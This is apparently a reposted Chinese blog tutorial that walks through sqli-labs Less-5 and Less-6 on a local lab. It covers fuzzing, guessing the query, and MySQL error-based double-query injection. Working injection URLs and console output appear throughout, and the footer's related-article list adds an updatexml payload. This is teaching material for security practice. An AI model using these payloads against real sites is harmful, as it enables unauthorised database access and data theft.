sqli-labs ---- Less-5 Less-6

2024-05-31 02:18
文章标签 labs sqli less

本文主要是介绍sqli-labs ---- Less-5 Less-6,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

[推荐] http://stackoverflow.com/questions/11787558/sql-injection-attack-what-does-this-do

在过去的日子里,我们利用 https://github.com/Audi-1/sqli-labs,讨论了SQL注入的不同类型。最新发布的内容见 地址。
现在,我们将回顾之前的注入内容,并讨论基于错误显示的二阶查询注入,有时候又称子查询注入。有些人喜欢称其为盲注,但是我喜欢称其为显错注入,因为接下来我们会通过错误来获取信息。接下来的内容会如第一部分那样,继续采用分类方案,接下来的内容会以第一部分为基础进行讲解。
这部分主要用到的是SQLI-LABS的 Less-5 和 Less-6。
采用前面方法,查看页面会显示什么内容。我们可以看到 Less-5 与 Less-6 页面相似,它们之间只有非常细微的差异。前面的案例中我们能看到用户名和密码会显示在页面中,但是这里仅显示”Youare in......”


枚举参数

除了id为13例外,其他从1到14返回同样的页面,其余id返回无效内容。

id=1You are in...........
id=2You are in...........
id=3You are in...........
id=4You are in...........
id=5You are in...........
id=6You are in...........
id=7You are in...........
id=8You are in...........
id=9You are in...........
id=10You are in...........
id=11You are in...........
id=12You are in...........
id=13no output
id=14You are in...........
id=15no output
id=0no output
id=100no output
id=hellono output

请求有效时,返回“Youare in...........”,无效时,无对应字符返回。


FUZZING

像前面介绍的那样,我们对应用程序进行模糊测试,并跟踪可能的注入情况,以便理解应用程序是如何处理恶意输入的。

整数或字符测试

输入参数看起来是个整数类型,我们可以确认一下,或者看看它是否同样接受字符串。输入字符串得到的结果,与无效输入类似。其他的一些测试如下:


'You have an error in your SQL syntax; check the manual thatcorresponds to your MySQL server version for the right syntax touse near '''' LIMIT 0,1' at line 1
no output
;no output
%00no output
)no output
(no output
aaano output

Less-5 与 Less-6 针对单引号与双引号,结果如下:

http://127.0.0.1/sqli-labs/Less-5/?id=1'异常
http://127.0.0.1/sqli-labs/Less-6/?id=1'no output
http://127.0.0.1/sqli-labs/Less-5/?id=1”no output
http://127.0.0.1/sqli-labs/Less-6/?id=1”异常

从上面的模糊测试,我们知道数据库没有返回任何输出,因此我们不能使用 UNION SELECT 获取数据库信息。


数据库返回到页面上的唯一信息就是,Mysql错误。因此,我们需要以一种方式处理我们的查询,以便通过错误获取数据库信息。查询条件必须是正确的,能被后端数据库解释执行,且需产生一个逻辑错误,让数据库信息伴随错误字符串返回。


疑惑了? 不要担心,接下来我们弄清楚它.

猜解查询

通过上面的模糊测试,我们可以了解一些关于应用程序的信息。接下来,我们猜解一下后端的查询情况。单引号致使 Less-5 异常,双引号致使 Less-6 异常。为了确认原始查询变量只被单引号或者双引号引用,我们尝试使用转义字符。


http://127.0.0.1/sqli-labs/Less-5/?id=1\You have an error in your SQL syntax; check the manual thatcorresponds to your MySQL server version for the right syntax touse near ''1\' LIMIT 0,1' at line 1
http://127.0.0.1/sqli-labs/Less-6/?id=1\ You have an error in your SQL syntax; check the manual thatcorresponds to your MySQL server version for the right syntax touse near '"1\" LIMIT 0,1' at line



注释剩余查询

http://127.0.0.1/sqli-labs/Less-5/?id=1‘--+You are in...........
http://127.0.0.1/sqli-labs/Less-6/?id=1“--+ You are in...........


因此,我们猜测查询语句格式如下:


Less-5SELECT * FROM table_name WHERE ID=’Value we inject’ LIMIT0,1
Less-6

SELECT * FROM table_name WHEREID= “Value we inject” LIMIT 0,1


理解子查询

在我们进一步SQL注入之前,我们需要理解子查询的基本知识。子查询可以理解为,将一个查询置于一个已存在的查询中,或将查询作为另一个查询的一部分。动态处理内部查询,并生成最终结果,例如:

Select concat((select database()));注意不要写错。上述查询中,蓝色部分就是子查询,它会首先被评估。

然后结果被传递给concat函数。


SQL注入

这种类型的注入,我们需要使用特殊的函数,如果你不熟悉,请在操作前,先学习一下.

Rand()
Floor()
Count()
Group by clause

有些厉害的测试工程师发现,将Groupby clause与一个聚合函数一起使用,例如count(*),可以将查询的部分内容作为错误信息返回。也就发展为今天的二次注入查询。

在开始完整的操作前,我们先来打个基础。

mysql -uroot -pbacktrack r3 默认数据库口令为root/toor
use security选择数据库security
select concat((select database())); 
select concat(“string1”, “string2”); 
select rand(); 
select floor(1.1234567); 
select floor(rand()*2) 
select concat((select database()), floor(rand()*2)); 


分析查询

mysql>select concat((select database()), floor(rand()*2));
+----------------------------------------------+
|concat((select database()), floor(rand()*2)) |
+----------------------------------------------+
|security1 |
+----------------------------------------------+
1row in set (0.00 sec)

mysql>select concat((select database()), floor(rand()*2)) from users;
+----------------------------------------------+
|concat((select database()), floor(rand()*2)) |
+----------------------------------------------+
|security1 |
|security0 |
|security1 |
|security1 |
|security0 |
|security1 |
|security0 |
|security1 |
|security1 |
|security1 |
|security1 |
|security0 |
|security0 |
+----------------------------------------------+
13rows in set (0.02 sec)

mysql>select concat((select database()), floor(rand()*2)) from information_schema.SCHEMATA;
+----------------------------------------------+
|concat((select database()), floor(rand()*2)) |
+----------------------------------------------+
|security0 |
|security0 |
|security1 |
|security1 |
|security0 |
|security0 |
+----------------------------------------------+
6rows in set (0.02 sec)

接下来我们使用GROUP BY函数完成查询,我们可以使用information_schema.tablesinformation_schema.columns获取结果,columns表会返回100多条数据,可以用来分析随机数。group by可以用来去重。

mysql>select concat((select database()), floor(rand()*2)) as a from information_schema.columns group by a;
+-----------+
|a |
+-----------+
|security0 |
|security1 |
+-----------+
2rows in set (0.11 sec)

注意:

内嵌查询SELECT database()可以被其他查询代替,这个查询将会伴随MYSQL错误输出。例如:

SELECT version(), user() 或获取完整的表,栏目等,就像第一部分讨论的那样。

接着上面的实例继续。

mysql>select datadir();

ERROR1305 (42000): FUNCTION security.datadir does not exist

mysql>select count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a;

ERROR1062 (23000): Duplicate entry 'security1' for key 'group_key'

荣誉属于那些聪明的人,他们发现了聚合函数和GROUP BY的致命组合。重复的值,导致执行查询时,产生错误。

mysql>select count(*), concat((select version()), floor(rand()*2))as a from information_schema.columns group by a;

ERROR1062 (23000): Duplicate entry '5.1.63-0ubuntu0.10.04.11' for key'group_key'

mysql>select count(*), concat((select version()), floor(rand()*2)) as a from information_schema.columns group by a;

+----------+--------------------------+

|count(*) | a |

+----------+--------------------------+

| 340 | 5.1.63-0ubuntu0.10.04.10 |

| 347 | 5.1.63-0ubuntu0.10.04.11 |

+----------+--------------------------+

2rows in set (0.02 sec)


注意此处as与前面内容之前无空格。

接下来让我们使用web前端来完成这个逻辑,不过在这之前,我们需要注意另一个被称为衍生表的东东。

select 1 from (table name);

详细内容,请查阅:

http://www.youtube.com/watch?feature=player_embedded&v=zaRlcPbfX4M
http://www.youtube.com/watch?feature=player_embedded&v=9utdAPxmvaI

mysql>select 1 from (select count(*), concat('~', (select user()), '~', floor(rand()*2))as a from information_schema.columns group by a);

ERROR1248 (42000): Every derived table must have its own alias

mysql>select 1 from (select count(*), concat('~', (select user()), '~', floor(rand()*2))as a from information_schema.columns group by a)x;

ERROR1062 (23000): Duplicate entry '~root@localhost~0' for key 'group_key'

书写时,concat函数中间的空格可能导致无内容返回。

http://localhost/sqli-labs/Less-5/?id=1'+AND+(select+1+from+(select+count(*),+concat('~',(select+user()),'~',+floor(rand()*2))as+a+from+information_schema.tables+group+by+a limit 0,1)x)--+




这篇关于sqli-labs ---- Less-5 Less-6的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1017247

相关文章

前端技术(七)——less 教程

一、less简介 1. less是什么? less是一种动态样式语言,属于css预处理器的范畴,它扩展了CSS语言,增加了变量、Mixin、函数等特性,使CSS 更易维护和扩展LESS 既可以在 客户端 上运行 ,也可以借助Node.js在服务端运行。 less的中文官网:https://lesscss.cn/ 2. less编译工具 koala 官网 http://koala-app.

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

xss-labs-master通关教程

一.level1 先来进行一下代码审计 <?php ini_set("display_errors", 0);//关闭错误显示$str = $_GET["name"]; //接受URL来的get形式的name传参echo "<h2 align=center>欢迎用户".$str."</h2>";//在网页输出,并不是echo执行的,而是echo把HTML代码发送到浏览器,浏览器对发送的H

安装 SideFX Labs

介绍 SideFX Labs 是一个完全免费开源的工具集。GIT地址:github.com/sideeffects/SideFXLabs 它是一个针对150多种工具的测试场,由于这些工具是在常规的 Houdini 开发周期之外开发的,因此可以更方便地进行测试和反馈。 其中的工具总结了常见的工作流程,并与常用软件建立了紧密的集成。目的是帮助用户更快地启动和执行“数字化内容创建”中常见的各种任

Linux less命令详解与使用:掌握高效文件查看技巧

less 是 Linux 中常用的文本查看工具,可以用来查看大文件的内容,而不必一次性加载整个文件。相比于 more 命令,less 提供了更多的功能和更好的用户体验。 一、less 的基本用法 less filename filename 是要查看的文件名。运行此命令后,less 会打开文件并显示在终端窗口中,用户可以使用键盘导航查看文件的内容。 二、less 中的常用快捷键 les

less、more、head、tail命令解析集合

一、整体认识 命令使用优点常见使用方式less可以浏览文件内容,它可以用于查看大型文件,而不需要将整个文件加载到内存中。按下空格键向下翻页,按下b键向上翻页,按下q键退出浏览more类似于less,也是用于浏览文件内容的命令,但它不支持向上翻页。 按下空格键向下翻页,按下q键退出浏览。 head用于查看文件的前几行。head [选项] [文件名]。常用选项有-n,指定显示前几行,默认为显示前10

【靶场】upload-labs-master(前11关)

🏘️个人主页: 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦 【靶场】upload-labs-master(前11关) 第一关 Pass-01第二关 Pass-02第三关 Pass-03第四关 Pass-04第五关 Pass-05第六关 Pass-06第七关 Pass-07第八关 Pass-08第九关 Pass-09第十关 Pass-10第

sqli-lab靶场学习(一)——Less1

前言 最近一段时间想切入安全领域,因为本身有做数据库运维工作,就打算从sql注入方向切入。而sql注入除了学习日常书本上的概念外,需要有个实践的环境,刚好看到sqli-lab这个靶场,就打算先用这个来学习。 安装部署 网上很多关于安装部署的教程,很简单。本人是下载PHPStudy进行部署的。由于sqli-lab是用php5版本,现在很多一体化环境(我用wamp)的php都是7版本。我试过

sqli-labs靶场通关攻略(61-65)

Less-61 步骤一:查看数据库 ?id=1')) and updatexml(1,concat(1,(select database())),1)--+ 步骤二:查看表名 ?id=1')) and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where ta

webpack解析css, less,scss

注意:安装之前,先保证webpack项目能正常运行!   1.安装依赖 npm install style-loader css-loader -D npm install less less-loader -D   2.配置,在 webpack.json.js 下,新增规则: module.exports = {// ...module:{rules:[// ...// 新增cs